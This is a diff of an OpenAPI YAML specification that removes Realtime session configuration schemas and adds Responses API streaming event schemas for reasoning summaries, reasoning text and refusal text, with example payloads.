+ The completion status of the summary part. Omitted when the part completed
+ normally and set to `incomplete` when generation was interrupted.
enum:
- - pcm16
- - g711_ulaw
- - g711_alaw
+ - incomplete
+ sequence_number:
+ type: integer
description: |
- The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
- For `pcm16`, output audio is sampled at a rate of 24kHz.
- input_audio_transcription:
- anyOf:
- - allOf:
- - $ref: '#/components/schemas/AudioTranscription'
- description: |
- Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
- - type: 'null'
- turn_detection:
- $ref: '#/components/schemas/RealtimeTurnDetection'
- input_audio_noise_reduction:
+ The sequence number of this event.
+ part:
type: object
+ description: |
+ The completed summary part.
properties:
type:
- $ref: '#/components/schemas/NoiseReductionType'
- description: |
- Configuration for input audio noise reduction. This can be set to `null` to turn off.
- Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
- Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
- speed:
- type: number
- default: 1
- maximum: 1.5
- minimum: 0.25
- description: |
- The speed of the model's spoken response. 1.0 is the default speed. 0.25 is
- the minimum speed. 1.5 is the maximum speed. This value can only be changed
- in between model turns, not while a response is in progress.
- tracing:
- anyOf:
- - title: Tracing Configuration
- description: |
- Configuration options for tracing. Set to null to disable tracing. Once
- tracing is enabled for a session, the configuration cannot be modified.
-
- `auto` will create a trace for the session with default values for the
- workflow name, group id, and metadata.
- anyOf:
- - type: string
- default: auto
- description: |
- Default tracing mode for the session.
+ type: string
+ description: The type of the summary part. Always `summary_text`.
enum:
- - auto
+ - summary_text
x-stainless-const: true
- - type: object
- title: Tracing Configuration
- description: |
- Granular configuration for tracing.
- properties:
- workflow_name:
- type: string
- description: |
- The name of the workflow to attach to this trace. This is used to
- name the trace in the traces dashboard.
- group_id:
- type: string
- description: |
- The group id to attach to this trace to enable filtering and
- grouping in the traces dashboard.
- metadata:
- type: object
- description: |
- The arbitrary metadata to attach to this trace to enable
- filtering in the traces dashboard.
- - type: 'null'
- tools:
- type: array
- description: Tools (functions) available to the model.
- items:
- $ref: '#/components/schemas/RealtimeFunctionTool'
- tool_choice:
- type: string
- default: auto
- description: |
- How the model chooses tools. Options are `auto`, `none`, `required`, or
- specify a function.
- temperature:
- type: number
- default: 0.8
- description: |
- Sampling temperature for the model, limited to [0.6, 1.2]. For audio models a temperature of 0.8 is highly recommended for best performance.
- max_response_output_tokens:
- description: |
- Maximum number of output tokens for a single assistant response,
- inclusive of tool calls. Provide an integer between 1 and 4096 to
- limit output tokens, or `inf` for the maximum available tokens for a
- given model. Defaults to `inf`.
- anyOf:
- - type: integer
- - type: string
- enum:
- - inf
- x-stainless-const: true
- expires_at:
- type: integer
- format: unixtime
- description: Expiration timestamp for the session, in seconds since epoch.
- prompt:
- anyOf:
- - $ref: '#/components/schemas/Prompt'
- - type: 'null'
- include:
- anyOf:
- - type: array
- items:
+ text:
type: string
- enum:
- - item.input_audio_transcription.logprobs
- description: |
- Additional fields to include in server outputs.
- - `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
- - type: 'null'
- RealtimeSessionCreateRequest:
+ description: The text of the summary part.
+ required:
+ - type
+ - text
+ required:
+ - type
+ - item_id
+ - output_index
+ - summary_index
+ - part
+ - sequence_number
+ x-oaiMeta:
+ name: response.reasoning_summary_part.done
+ group: responses
+ example: |
+ {
+ "type": "response.reasoning_summary_part.done",
+ "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
+ "output_index": 0,
+ "summary_index": 0,
+ "part": {
+ "type": "summary_text",
+ "text": "**Responding to a greeting**\n\nThe user just said, \"Hello!\" So, it seems I need to engage. I'll greet them back and offer help since they're looking to chat. I could say something like, \"Hello! How can I assist you today?\" That feels friendly and open. They didn't ask a specific question, so this approach will work well for starting a conversation. Let's see where it goes from there!"
+ },
+ "sequence_number": 1
+ }
+ ResponseReasoningSummaryTextDeltaEvent:
type: object
- description: |
- A new Realtime session configuration, with an ephemeral key. Default TTL
- for keys is one minute.
+ description: Emitted when a delta is added to a reasoning summary text.
properties:
- client_secret:
- type: object
- description: Ephemeral key returned by the API.
- properties:
- value:
- type: string
- description: |
- Ephemeral key usable in client environments to authenticate connections
- to the Realtime API. Use this in client-side environments rather than
- a standard API token, which should only be used server-side.
- expires_at:
- type: integer
- format: unixtime
- description: |
- Timestamp for when the token expires. Currently, all tokens expire
- after one minute.
- required:
- - value
- - expires_at
- modalities:
- description: |
- The set of modalities the model can respond with. To disable audio,
- set this to ["text"].
- items:
- type: string
- enum:
- - text
- - audio
- instructions:
+ type:
type: string
description: |
- The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
- Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
- voice:
- $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
- description: |
- The voice the model uses to respond. Supported built-in voices are
- `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
- `marin`, and `cedar`. You may also provide a custom voice object with an
- `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed during
- the session once the model has responded with audio at least once.
- input_audio_format:
+ The type of the event. Always `response.reasoning_summary_text.delta`.
+ enum:
+ - response.reasoning_summary_text.delta
+ x-stainless-const: true
+ item_id:
type: string
description: |
- The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
- output_audio_format:
- type: string
+ The ID of the item this summary text delta is associated with.
+ output_index:
+ type: integer
description: |
- The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
- input_audio_transcription:
- type: object
+ The index of the output item this summary text delta is associated with.
+ summary_index:
+ type: integer
description: |
- Configuration for input audio transcription, defaults to off and can be
- set to `null` to turn off once on. Input audio transcription is not native
- to the model, since the model consumes audio directly. Transcription runs
- asynchronously and should be treated as rough guidance
- rather than the representation understood by the model.
- properties:
- model:
- type: string
- description: |
- The model to use for transcription.
- speed:
- type: number
- default: 1
- maximum: 1.5
- minimum: 0.25
+ The index of the summary part within the reasoning summary.
+ delta:
+ type: string
description: |
- The speed of the model's spoken response. 1.0 is the default speed. 0.25 is
- the minimum speed. 1.5 is the maximum speed. This value can only be changed
- in between model turns, not while a response is in progress.
- tracing:
- title: Tracing Configuration
+ The text delta that was added to the summary.
+ sequence_number:
+ type: integer
description: |
- Configuration options for tracing. Set to null to disable tracing. Once
- tracing is enabled for a session, the configuration cannot be modified.
-
- `auto` will create a trace for the session with default values for the
- workflow name, group id, and metadata.
- anyOf:
- - type: string
- default: auto
- description: |
- Default tracing mode for the session.
- enum:
- - auto
- x-stainless-const: true
- - type: object
- title: Tracing Configuration
- description: |
- Granular configuration for tracing.
- properties:
- workflow_name:
- type: string
- description: |
- The name of the workflow to attach to this trace. This is used to
- name the trace in the traces dashboard.
- group_id:
- type: string
- description: |
- The group id to attach to this trace to enable filtering and
- grouping in the traces dashboard.
- metadata:
- type: object
- description: |
- The arbitrary metadata to attach to this trace to enable
- filtering in the traces dashboard.
- turn_detection:
- type: object
+ The sequence number of this event.
+ required:
+ - type
+ - item_id
+ - output_index
+ - summary_index
+ - delta
+ - sequence_number
+ x-oaiMeta:
+ name: response.reasoning_summary_text.delta
+ group: responses
+ example: |
+ {
+ "type": "response.reasoning_summary_text.delta",
+ "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
+ "output_index": 0,
+ "summary_index": 0,
+ "delta": "**Responding to a greeting**\n\nThe user just said, \"Hello!\" So, it seems I need to engage. I'll greet them back and offer help since they're looking to chat. I could say something like, \"Hello! How can I assist you today?\" That feels friendly and open. They didn't ask a specific question, so this approach will work well for starting a conversation. Let's see where it goes from there!",
+ "sequence_number": 1
+ }
+ ResponseReasoningSummaryTextDoneEvent:
+ type: object
+ description: Emitted when a reasoning summary text is completed.
+ properties:
+ type:
+ type: string
description: |
- Configuration for turn detection. Can be set to `null` to turn off. Server
- VAD means that the model will detect the start and end of speech based on
- audio volume and respond at the end of user speech.
- properties:
- type:
- type: string
- description: |
- Type of turn detection, only `server_vad` is currently supported.
- threshold:
- type: number
- description: |
- Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
- higher threshold will require louder audio to activate the model, and
- thus might perform better in noisy environments.
- prefix_padding_ms:
- type: integer
- description: |
- Amount of audio to include before the VAD detected speech (in
- milliseconds). Defaults to 300ms.
- silence_duration_ms:
- type: integer
- description: |
- Duration of silence to detect speech stop (in milliseconds). Defaults
- to 500ms. With shorter values the model will respond more quickly,
- but may jump in on short pauses from the user.
- tools:
- type: array
- description: Tools (functions) available to the model.
- items:
- type: object
- properties:
- type:
- type: string
- enum:
- - function
- description: The type of the tool, i.e. `function`.
- x-stainless-const: true
- name:
- type: string
- description: The name of the function.
- description:
- type: string
- description: |
- The description of the function, including guidance on when and how
- to call it, and guidance about what to tell the user when calling
- (if anything).
- parameters:
- type: object
- description: Parameters of the function in JSON Schema.
- tool_choice:
+ The type of the event. Always `response.reasoning_summary_text.done`.
+ enum:
+ - response.reasoning_summary_text.done
+ x-stainless-const: true
+ item_id:
type: string
description: |
- How the model chooses tools. Options are `auto`, `none`, `required`, or
- specify a function.
- temperature:
- type: number
+ The ID of the item this summary text is associated with.
+ output_index:
+ type: integer
description: |
- Sampling temperature for the model, limited to [0.6, 1.2]. Defaults to 0.8.
- max_response_output_tokens:
+ The index of the output item this summary text is associated with.
+ summary_index:
+ type: integer
description: |
- Maximum number of output tokens for a single assistant response,
- inclusive of tool calls. Provide an integer between 1 and 4096 to
- limit output tokens, or `inf` for the maximum available tokens for a
- given model. Defaults to `inf`.
- anyOf:
- - type: integer
- - type: string
- enum:
- - inf
- x-stainless-const: true
- truncation:
- $ref: '#/components/schemas/RealtimeTruncation'
- prompt:
- $ref: '#/components/schemas/Prompt'
+ The index of the summary part within the reasoning summary.
+ text:
+ type: string
+ description: |
+ The full text of the completed reasoning summary.
+ sequence_number:
+ type: integer
+ description: |
+ The sequence number of this event.
required:
- - client_secret
+ - type
+ - item_id
+ - output_index
+ - summary_index
+ - text
+ - sequence_number
x-oaiMeta:
- name: The session object
- group: realtime
+ name: response.reasoning_summary_text.done
+ group: responses
example: |
{
- "id": "sess_001",
- "object": "realtime.session",
- "model": "gpt-realtime-2025-08-25",
- "modalities": ["audio", "text"],
- "instructions": "You are a friendly assistant.",
- "voice": "alloy",
- "input_audio_format": "pcm16",
- "output_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "whisper-1"
- },
- "turn_detection": null,
- "tools": [],
- "tool_choice": "none",
- "temperature": 0.7,
- "speed": 1.1,
- "tracing": "auto",
- "max_response_output_tokens": 200,
- "truncation": "auto",
- "prompt": null,
- "client_secret": {
- "value": "ek_abc123",
- "expires_at": 1234567890
- }
+ "type": "response.reasoning_summary_text.done",
+ "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
+ "output_index": 0,
+ "summary_index": 0,
+ "text": "**Responding to a greeting**\n\nThe user just said, \"Hello!\" So, it seems I need to engage. I'll greet them back and offer help since they're looking to chat. I could say something like, \"Hello! How can I assist you today?\" That feels friendly and open. They didn't ask a specific question, so this approach will work well for starting a conversation. Let's see where it goes from there!",
+ "sequence_number": 1
}
- RealtimeSessionCreateRequestGA:
+ ResponseReasoningTextDeltaEvent:
type: object
- title: Realtime session configuration
- description: Realtime session object configuration.
+ description: Emitted when a delta is added to a reasoning text.
properties:
type:
type: string
description: |
- The type of session to create. Always `realtime` for the Realtime API.
+ The type of the event. Always `response.reasoning_text.delta`.
enum:
- - realtime
+ - response.reasoning_text.delta
x-stainless-const: true
- output_modalities:
- type: array
- description: |
- The set of modalities the model can respond with. It defaults to `["audio"]`, indicating
- that the model will respond with audio plus a transcript. `["text"]` can be used to make
- the model respond with text only. It is not possible to request both `text` and `audio` at the same time.
- default:
- - audio
- items:
- type: string
- enum:
- - text
- - audio
- model:
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-realtime
- - gpt-realtime-1.5
- - gpt-realtime-2
- - gpt-realtime-2.1
- - gpt-realtime-2.1-mini
- - gpt-realtime-2025-08-28
- - gpt-4o-realtime-preview
- - gpt-4o-realtime-preview-2024-10-01
- - gpt-4o-realtime-preview-2024-12-17
- - gpt-4o-realtime-preview-2025-06-03
- - gpt-4o-mini-realtime-preview
- - gpt-4o-mini-realtime-preview-2024-12-17
- - gpt-realtime-mini
- - gpt-realtime-mini-2025-10-06
- - gpt-realtime-mini-2025-12-15
- - gpt-audio-1.5
- - gpt-audio-mini
- - gpt-audio-mini-2025-10-06
- - gpt-audio-mini-2025-12-15
- x-stainless-nominal: false
- description: |
- The Realtime model used for this session.
- instructions:
+ item_id:
type: string
description: |
- The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
-
- Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
- audio:
- type: object
- description: |
- Configuration for input and output audio.
- properties:
- input:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- description: The format of the input audio.
- transcription:
- description: |
- Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
- $ref: '#/components/schemas/AudioTranscription'
- noise_reduction:
- type: object
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- description: |
- Configuration for input audio noise reduction. This can be set to `null` to turn off.
- Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
- Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
- turn_detection:
- $ref: '#/components/schemas/RealtimeTurnDetection'
- output:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- description: The format of the output audio.
- voice:
- $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
- default: alloy
- description: |
- The voice the model uses to respond. Supported built-in voices are
- `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
- `marin`, and `cedar`. You may also provide a custom voice object with
- an `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed
- during the session once the model has responded with audio at least once.
- We recommend `marin` and `cedar` for best quality.
- speed:
- type: number
- default: 1
- maximum: 1.5
- minimum: 0.25
- description: |
- The speed of the model's spoken response as a multiple of the original speed.
- 1.0 is the default speed. 0.25 is the minimum speed. 1.5 is the maximum speed. This value can only be changed in between model turns, not while a response is in progress.
-
- This parameter is a post-processing adjustment to the audio after it is generated, it's
- also possible to prompt the model to speak faster or slower.
- include:
- type: array
- items:
- type: string
- enum:
- - item.input_audio_transcription.logprobs
- description: |
- Additional fields to include in server outputs.
-
- `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
- tracing:
- title: Tracing Configuration
- anyOf:
- - type: string
- title: auto
- default: auto
- description: |
- Enables tracing and sets default values for tracing configuration options. Always `auto`.
- enum:
- - auto
- x-stainless-const: true
- - type: object
- title: Tracing Configuration
- description: |
- Granular configuration for tracing.
- properties:
- workflow_name:
- type: string
- description: |
- The name of the workflow to attach to this trace. This is used to
- name the trace in the Traces Dashboard.
- group_id:
- type: string
- description: |
- The group id to attach to this trace to enable filtering and
- grouping in the Traces Dashboard.
- metadata:
- type: object
- description: |
- The arbitrary metadata to attach to this trace to enable
- filtering in the Traces Dashboard.
+ The ID of the item this reasoning text delta is associated with.
+ output_index:
+ type: integer
description: |
- Realtime API can write session traces to the [Traces Dashboard](https://platform.openai.com/logs?api=traces). Set to null to disable tracing. Once
- tracing is enabled for a session, the configuration cannot be modified.
-
- `auto` will create a trace for the session with default values for the
- workflow name, group id, and metadata.
- nullable: true
- tools:
- type: array
- description: Tools available to the model.
- items:
- anyOf:
- - $ref: '#/components/schemas/RealtimeFunctionTool'
- - $ref: '#/components/schemas/MCPTool'
- discriminator:
- propertyName: type
- tool_choice:
+ The index of the output item this reasoning text delta is associated with.
+ content_index:
+ type: integer
description: |
- How the model chooses tools. Provide one of the string modes or force a specific
- function/MCP tool.
- default: auto
- anyOf:
- - $ref: '#/components/schemas/ToolChoiceOptions'
- - $ref: '#/components/schemas/ToolChoiceFunction'
- - $ref: '#/components/schemas/ToolChoiceMCP'
- parallel_tool_calls:
- type: boolean
+ The index of the reasoning content part this delta is associated with.
+ delta:
+ type: string
description: |
- Whether the model may call multiple tools in parallel. Only supported by
- reasoning Realtime models such as `gpt-realtime-2`.
- reasoning:
- $ref: '#/components/schemas/RealtimeReasoning'
- max_output_tokens:
+ The text delta that was added to the reasoning content.
+ sequence_number:
+ type: integer
description: |
- Maximum number of output tokens for a single assistant response,
- inclusive of tool calls. Provide an integer between 1 and 4096 to
- limit output tokens, or `inf` for the maximum available tokens for a
- given model. Defaults to `inf`.
- anyOf:
- - type: integer
- - type: string
- enum:
- - inf
- x-stainless-const: true
- truncation:
- $ref: '#/components/schemas/RealtimeTruncation'
- prompt:
- $ref: '#/components/schemas/Prompt'
+ The sequence number of this event.
required:
- type
- RealtimeSessionCreateResponse:
+ - item_id
+ - output_index
+ - content_index
+ - delta
+ - sequence_number
+ x-oaiMeta:
+ name: response.reasoning_text.delta
+ group: responses
+ example: |
+ {
+ "type": "response.reasoning_text.delta",
+ "item_id": "rs_123",
+ "output_index": 0,
+ "content_index": 0,
+ "delta": "The",
+ "sequence_number": 1
+ }
+ ResponseReasoningTextDoneEvent:
type: object
- title: Realtime session configuration object
- description: |
- A Realtime session configuration object.
+ description: Emitted when a reasoning text is completed.
properties:
- id:
+ type:
type: string
description: |
- Unique identifier for the session that looks like `sess_1234567890abcdef`.
- object:
+ The type of the event. Always `response.reasoning_text.done`.
+ enum:
+ - response.reasoning_text.done
+ x-stainless-const: true
+ item_id:
type: string
- description: The object type. Always `realtime.session`.
- expires_at:
+ description: |
+ The ID of the item this reasoning text is associated with.
+ output_index:
type: integer
- format: unixtime
- description: Expiration timestamp for the session, in seconds since epoch.
- include:
- type: array
- items:
- type: string
- enum:
- - item.input_audio_transcription.logprobs
description: |
- Additional fields to include in server outputs.
- - `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
- model:
- type: string
- description: The Realtime model used for this session.
- output_modalities:
+ The index of the output item this reasoning text is associated with.
+ content_index:
+ type: integer
description: |
- The set of modalities the model can respond with. To disable audio,
- set this to ["text"].
- items:
- type: string
- enum:
- - text
- - audio
- instructions:
+ The index of the reasoning content part.
+ text:
type: string
description: |
- The default system instructions (i.e. system message) prepended to model
- calls. This field allows the client to guide the model on desired
- responses. The model can be instructed on response content and format,
- (e.g. "be extremely succinct", "act friendly", "here are examples of good
- responses") and on audio behavior (e.g. "talk quickly", "inject emotion
- into your voice", "laugh frequently"). The instructions are not guaranteed
- to be followed by the model, but they provide guidance to the model on the
- desired behavior.
-
- Note that the server sets default instructions which will be used if this
- field is not set and are visible in the `session.created` event at the
- start of the session.
- audio:
- type: object
+ The full text of the completed reasoning content.
+ sequence_number:
+ type: integer
description: |
- Configuration for input and output audio for the session.
- properties:
- input:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- transcription:
- $ref: '#/components/schemas/AudioTranscription'
- noise_reduction:
- type: object
- description: |
- Configuration for input audio noise reduction.
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- turn_detection:
- type: object
- description: |
- Configuration for turn detection.
- properties:
- type:
- type: string
- description: |
- Type of turn detection, only `server_vad` is currently supported.
- threshold:
- type: number
- prefix_padding_ms:
- type: integer
- silence_duration_ms:
- type: integer
- output:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- voice:
- $ref: '#/components/schemas/VoiceIdsShared'
- speed:
- type: number
- tracing:
- title: Tracing Configuration
+ The sequence number of this event.
+ required:
+ - type
+ - item_id
+ - output_index
+ - content_index
+ - text
+ - sequence_number
+ x-oaiMeta:
+ name: response.reasoning_text.done
+ group: responses
+ example: |
+ {
+ "type": "response.reasoning_text.done",
+ "item_id": "rs_123",
+ "output_index": 0,
+ "content_index": 0,
+ "text": "The user is asking...",
+ "sequence_number": 4
+ }
+ ResponseRefusalDeltaEvent:
+ type: object
+ description: Emitted when there is a partial refusal text.
+ properties:
+ type:
+ type: string
description: |
- Configuration options for tracing. Set to null to disable tracing. Once
- tracing is enabled for a session, the configuration cannot be modified.
-
- `auto` will create a trace for the session with default values for the
- workflow name, group id, and metadata.
- anyOf:
- - type: string
- default: auto
- description: |
- Default tracing mode for the session.
- enum:
- - auto
- x-stainless-const: true
- - type: object
- title: Tracing Configuration
- description: |
- Granular configuration for tracing.
- properties:
- workflow_name:
- type: string
- description: |
- The name of the workflow to attach to this trace. This is used to
- name the trace in the traces dashboard.
- group_id:
- type: string
- description: |
- The group id to attach to this trace to enable filtering and
- grouping in the traces dashboard.
- metadata:
- type: object
- description: |
- The arbitrary metadata to attach to this trace to enable
- filtering in the traces dashboard.
- turn_detection:
- type: object
+ The type of the event. Always `response.refusal.delta`.
+ enum:
+ - response.refusal.delta
+ x-stainless-const: true
+ item_id:
+ type: string
description: |
- Configuration for turn detection. Can be set to `null` to turn off. Server
- VAD means that the model will detect the start and end of speech based on
- audio volume and respond at the end of user speech.
- properties:
- type:
- type: string
- description: |
- Type of turn detection, only `server_vad` is currently supported.
- threshold:
- type: number
- description: |
- Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
- higher threshold will require louder audio to activate the model, and
- thus might perform better in noisy environments.
- prefix_padding_ms:
- type: integer
- description: |
- Amount of audio to include before the VAD detected speech (in
- milliseconds). Defaults to 300ms.
- silence_duration_ms:
- type: integer
- description: |
- Duration of silence to detect speech stop (in milliseconds). Defaults
- to 500ms. With shorter values the model will respond more quickly,
- but may jump in on short pauses from the user.
- tools:
- type: array
- description: Tools (functions) available to the model.
- items:
- $ref: '#/components/schemas/RealtimeFunctionTool'
- tool_choice:
+ The ID of the output item that the refusal text is added to.
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the refusal text is added to.
+ content_index:
+ type: integer
+ description: |
+ The index of the content part that the refusal text is added to.
+ delta:
type: string
description: |
- How the model chooses tools. Options are `auto`, `none`, `required`, or
- specify a function.
- max_output_tokens:
+ The refusal text that is added.
+ sequence_number:
+ type: integer
description: |
- Maximum number of output tokens for a single assistant response,
- inclusive of tool calls. Provide an integer between 1 and 4096 to
- limit output tokens, or `inf` for the maximum available tokens for a
- given model. Defaults to `inf`.
- anyOf:
- - type: integer
- - type: string
- enum:
- - inf
- x-stainless-const: true
+ The sequence number of this event.
+ required:
+ - type
+ - item_id
+ - output_index
+ - content_index
+ - delta
+ - sequence_number
x-oaiMeta:
- name: The session object
- group: realtime
+ name: response.refusal.delta
+ group: responses
example: |
{
- "id": "sess_001",
- "object": "realtime.session",
- "expires_at": 1742188264,
- "model": "gpt-realtime",
- "output_modalities": ["audio"],
- "instructions": "You are a friendly assistant.",
- "tools": [],
- "tool_choice": "none",
- "max_output_tokens": "inf",
- "tracing": "auto",
- "truncation": "auto",
- "prompt": null,
- "audio": {
- "input": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "transcription": { "model": "whisper-1" },
- "noise_reduction": null,
- "turn_detection": null
- },
- "output": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "voice": "alloy",
- "speed": 1.0
- }
- }
+ "type": "response.refusal.delta",
+ "item_id": "msg_123",
+ "output_index": 0,
+ "content_index": 0,
+ "delta": "refusal text so far",
+ "sequence_number": 1
}
- RealtimeSessionCreateResponseGA:
+ ResponseRefusalDoneEvent:
type: object
- title: Realtime session configuration object
- description: |
- A Realtime session configuration object.
+ description: Emitted when refusal text is finalized.
properties:
type:
type: string
description: |
- The type of session to create. Always `realtime` for the Realtime API.
+ The type of the event. Always `response.refusal.done`.
enum:
- - realtime
+ - response.refusal.done
x-stainless-const: true
- id:
+ item_id:
type: string
description: |
- Unique identifier for the session that looks like `sess_1234567890abcdef`.
- object:
- type: string
- description: The object type. Always `realtime.session`.
- enum:
- - realtime.session
- x-stainless-const: true
- expires_at:
+ The ID of the output item that the refusal text is finalized.
+ output_index:
type: integer
- format: unixtime
- description: Expiration timestamp for the session, in seconds since epoch.
- output_modalities:
- type: array
description: |
- The set of modalities the model can respond with. It defaults to `["audio"]`, indicating
- that the model will respond with audio plus a transcript. `["text"]` can be used to make
- the model respond with text only. It is not possible to request both `text` and `audio` at the same time.
- default:
- - audio
- items:
- type: string
- enum:
- - text
- - audio
- model:
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-realtime
- - gpt-realtime-1.5
- - gpt-realtime-2
- - gpt-realtime-2.1
- - gpt-realtime-2.1-mini
- - gpt-realtime-2025-08-28
- - gpt-4o-realtime-preview
- - gpt-4o-realtime-preview-2024-10-01
- - gpt-4o-realtime-preview-2024-12-17
- - gpt-4o-realtime-preview-2025-06-03
- - gpt-4o-mini-realtime-preview
- - gpt-4o-mini-realtime-preview-2024-12-17
- - gpt-realtime-mini
- - gpt-realtime-mini-2025-10-06
- - gpt-realtime-mini-2025-12-15
- - gpt-audio-1.5
- - gpt-audio-mini
- - gpt-audio-mini-2025-10-06
- - gpt-audio-mini-2025-12-15
+ The index of the output item that the refusal text is finalized.
+ content_index:
+ type: integer
description: |
- The Realtime model used for this session.
- instructions:
+ The index of the content part that the refusal text is finalized.
+ refusal:
type: string
description: |
- The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
-
- Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
- audio:
- type: object
- description: |
- Configuration for input and output audio.
- properties:
- input:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- description: The format of the input audio.
- transcription:
- $ref: '#/components/schemas/AudioTranscription'
- noise_reduction:
- type: object
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- description: |
- Configuration for input audio noise reduction. This can be set to `null` to turn off.
- Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
- Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
- turn_detection:
- $ref: '#/components/schemas/RealtimeTurnDetection'
- output:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- description: The format of the output audio.
- voice:
- $ref: '#/components/schemas/VoiceIdsShared'
- default: alloy
- description: |
- The voice the model uses to respond. Voice cannot be changed during the
- session once the model has responded with audio at least once. Current
- voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
- `shimmer`, `verse`, `marin`, and `cedar`. We recommend `marin` and `cedar` for
- best quality.
- speed:
- type: number
- default: 1
- maximum: 1.5
- minimum: 0.25
- description: |
- The speed of the model's spoken response as a multiple of the original speed.
- 1.0 is the default speed. 0.25 is the minimum speed. 1.5 is the maximum speed. This value can only be changed in between model turns, not while a response is in progress.
-
- This parameter is a post-processing adjustment to the audio after it is generated, it's
- also possible to prompt the model to speak faster or slower.
- include:
- type: array
- items:
- type: string
- enum:
- - item.input_audio_transcription.logprobs
- description: |
- Additional fields to include in server outputs.
-
- `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
- tracing:
- anyOf:
- - title: Tracing Configuration
- anyOf:
- - type: string
- title: auto
- default: auto
- description: |
- Enables tracing and sets default values for tracing configuration options. Always `auto`.
- enum:
- - auto
- x-stainless-const: true
- - type: object
- title: Tracing Configuration
- description: |
- Granular configuration for tracing.
- properties:
- workflow_name:
- type: string
- description: |
- The name of the workflow to attach to this trace. This is used to
- name the trace in the Traces Dashboard.
- group_id:
- type: string
- description: |
- The group id to attach to this trace to enable filtering and
- grouping in the Traces Dashboard.
- metadata:
- type: object
- description: |
- The arbitrary metadata to attach to this trace to enable
- filtering in the Traces Dashboard.
- description: |
- Realtime API can write session traces to the [Traces Dashboard](https://platform.openai.com/logs?api=traces). Set to null to disable tracing. Once
- tracing is enabled for a session, the configuration cannot be modified.
-
- `auto` will create a trace for the session with default values for the
- workflow name, group id, and metadata.
- - type: 'null'
- tools:
- type: array
- description: Tools available to the model.
- items:
- anyOf:
- - $ref: '#/components/schemas/RealtimeFunctionTool'
- - $ref: '#/components/schemas/MCPTool'
- tool_choice:
- description: |
- How the model chooses tools. Provide one of the string modes or force a specific
- function/MCP tool.
- default: auto
- anyOf:
- - $ref: '#/components/schemas/ToolChoiceOptions'
- - $ref: '#/components/schemas/ToolChoiceFunction'
- - $ref: '#/components/schemas/ToolChoiceMCP'
- reasoning:
- $ref: '#/components/schemas/RealtimeReasoning'
- max_output_tokens:
